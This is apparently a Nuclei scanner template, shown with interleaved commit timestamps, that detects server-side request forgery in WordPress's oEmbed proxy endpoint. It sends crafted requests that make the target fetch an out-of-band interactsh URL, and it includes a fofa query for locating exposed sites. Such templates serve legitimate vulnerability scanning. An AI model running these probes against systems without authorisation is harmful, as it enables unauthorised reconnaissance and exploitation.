2021-12-16 08:18:34 +00:00
id : wordpress-ssrf-oembed
info :
2023-09-04 18:13:10 +00:00
name : Wordpress Oembed Proxy - Server-side request forgery
2021-12-16 08:18:34 +00:00
author : dhiyaneshDk
2021-12-16 08:55:00 +00:00
severity : medium
2024-01-02 15:45:12 +00:00
description : The oEmbed feature in WordPress allows embedding content from external sources, and if it's not properly secured, it could be exploited for SSRF.
2021-12-16 08:18:34 +00:00
reference :
- https://book.hacktricks.xyz/pentesting/pentesting-web/wordpress
- https://github.com/incogbyte/quickpress/blob/master/core/req.go
2023-04-28 08:11:21 +00:00
metadata :
2023-09-04 18:22:21 +00:00
max-request : 2
2023-10-14 11:27:55 +00:00
fofa-query : body="oembed" && body="wp-"
2023-09-04 18:13:10 +00:00
tags : wordpress,ssrf,oast,oembed
2021-12-16 08:18:34 +00:00
2023-04-27 04:28:59 +00:00
http :
2023-09-04 18:13:10 +00:00
- raw :
- |
GET /wp-json/oembed/1.0/proxy HTTP/1.1
Host : {{Hostname}}
- |
GET /wp-json/oembed/1.0/proxy?url=http://{{interactsh-url}} HTTP/1.1
Host : {{Hostname}}
2021-12-16 08:55:00 +00:00
2023-09-02 23:13:32 +00:00
matchers-condition : and
2021-12-16 08:18:34 +00:00
matchers :
2023-09-04 18:13:10 +00:00
- type : word
part : body_1
words :
- 'rest_missing_callback_param'
2023-09-02 23:13:32 +00:00
2023-09-04 18:13:10 +00:00
- type : word
part : interactsh_protocol # Confirms the HTTP Interaction
words :
- "http"
2023-10-20 11:41:13 +00:00
# digest: 4b0a00483046022100e627640b92cfb488e8992e197008e287640d1a665c97ec6b858a9d684882c9fb022100d000420f27d663f5c1dd2d7b97b06b16c9b13e813793cd6398b97ad51640192c:922c64590222798bb761d5b6d8e72950
